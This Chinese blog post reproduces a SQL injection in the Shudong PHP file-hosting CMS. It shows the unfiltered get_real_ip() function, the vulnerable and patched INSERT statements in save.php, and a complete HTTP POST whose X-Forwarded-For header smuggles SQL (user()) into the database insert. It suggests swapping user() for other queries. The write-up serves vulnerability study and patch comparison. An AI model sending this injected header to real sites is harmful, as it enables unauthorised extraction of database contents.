头部的信息也有可能存在注入只不过比较容易被大家忽略。今天freebuff看到了一篇文章觉得不错。就自己下来重现了下(https://www.freebuf.com/column/179363.html)。cms的名字叫树洞https://yun.aoaoao.me.下载下来就会发现漏洞已经修复了。不过这不重要我翻了下github别人fork的找到了原来的修改。
漏洞在includes/function.php 里的 get_real_ip() 这个函数里面,这个里面没有做任何防注入的过滤
function get_real_ip(){ $ip=false; if(!empty($_SERVER["HTTP_CLIENT_IP"])){ $ip = $_SERVER["HTTP_CLIENT_IP"]; } if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ips = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']); if ($ip) { array_unshift($ips, $ip); $ip = FALSE; } for ($i = 0; $i < count($ips); $i++) { if (!eregi ("^(10|172\.16|192\.168)\.", $ips[$i])) { $ip = $ips[$i]; break; } } }
在全局搜寻下用到的文件发现save.php 23行调用了这个函数。原来漏洞在下方30行上下
修改前:
$stmt = $con->prepare("INSERT INTO `$sqlname`.`sd_file` (`ming` ,`key1` ,`uploadip` ,`uploadtime` ,`cishuo` ,`upuser` ,`policyid`)VALUES (?, '$rand', '$ip', '$dd', '0' , '$uploadUser', '$policyId');"); $stmt->bind_param('s', $ming);
修改后:
$stmt = $con->prepare("INSERT INTO `$sqlname`.`sd_file` (`ming` ,`key1` ,`uploadip` ,`uploadtime` ,`cishuo` ,`upuser` ,`policyid`)VALUES (?, '$rand', ?, '$dd', '0' , '$uploadUser', '$policyId');"); $stmt->bind_param('ss', $ming,$ip);
对比发现$ip被绑定了。用原来的进行实验直接对save.php进行post
POST /includes/save.php HTTP/1.1
Host: shudong.com
User-Agent: Mozilla/5.0 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=xxxxxxx
Connection: close
X-Forwarded-For: 1.1.1.1',user(),'0',1,1); #
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
ming=aa
接着去前面http://xxxx/views/userFiles.php(自己注册登陆先哦)查看就会发现日期变成了root或者其他数据库用户名。
只要在修改user()就可以达到不同的注入目的。